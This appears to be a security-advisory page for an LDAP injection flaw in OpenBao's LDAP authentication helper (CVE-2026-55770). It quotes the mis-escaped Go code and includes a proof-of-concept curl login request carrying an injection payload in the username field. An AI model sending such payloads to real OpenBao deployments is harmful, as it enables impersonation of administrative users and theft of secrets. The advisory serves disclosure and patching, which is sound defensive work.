AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

OpenBaoGHSA-6mwx-4547-5vc9

OpenBao: LDAPi ldaputil (wrong escape func)

OpenBao

CVE-2026-55770 · Published Jun 19, 2026 · updated Sep 25, 2026

Medium6.8
Fix: upgrade to 0.0.0-20260617104213-10b7825c714c or later
GitHub advisory

1. Description

Component

sdk/helper/ldaputil/client.go , the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

```go

// Line 191 , UPN Domain path

bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 , User DN path

bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

`

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

###...

Affected versions

PackageAffectedFixed in
github.com/openbao/openbao
Go
>= 0.1.0, <= 2.5.4No fix yet
< 0.0.0-20260617104213-10b7825c714c0.0.0-20260617104213-10b7825c714c
Details and references

## 1. Description ### Component `sdk/helper/ldaputil/client.go` , the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs. ### Root Cause The LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`: ```go // Line 191 , UPN Domain path bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain) // Line 193 , User DN path bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN) ``` The problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `"`, `\`, `<`, `>`, and leading/trailing spaces. LDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\`, and NUL (`\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package. The irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function. ### Exploitation Mechanics ``` Username: alice)(objectClass=* ↓ EscapeLDAPValue (no-op , no DN special chars) alice)(objectClass=* ↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername) (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) ^^ injection point ``` The filter `(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to: - `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*` Since all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries. ### Preconditions - LDAP authentication backend must be configured - Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding - Attacker controls the `username` field at login time ## 2. Proof of Concept ```bash # Login with LDAP injection payload as username curl -k -X POST \ -H "Content-Type: application/json" \ -d '{ "username": "alice)(sAMAccountName=*", "password": "anything" }' \ https://localhost:8200/v1/auth/ldap/login/admin # LDAP filter constructed: # (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*)) # injection ──────────^ # The filter matches the first user with objectClass=user # If the LDAP server returns admin's entry first, the token # is bound to the admin entity, inheriting all admin policies ``` The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user , potentially an administrative account. ## 3. Impact | Impact | Detail | |--------|--------| | **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity | | **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user | | **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance | **Likelihood: HIGH** , the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`. ### Why This Is High Severity The LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-90
Also known as
BIT-openbao-2026-55770, CVE-2026-55770, GO-2026-5182

More OpenBao advisories

All OpenBao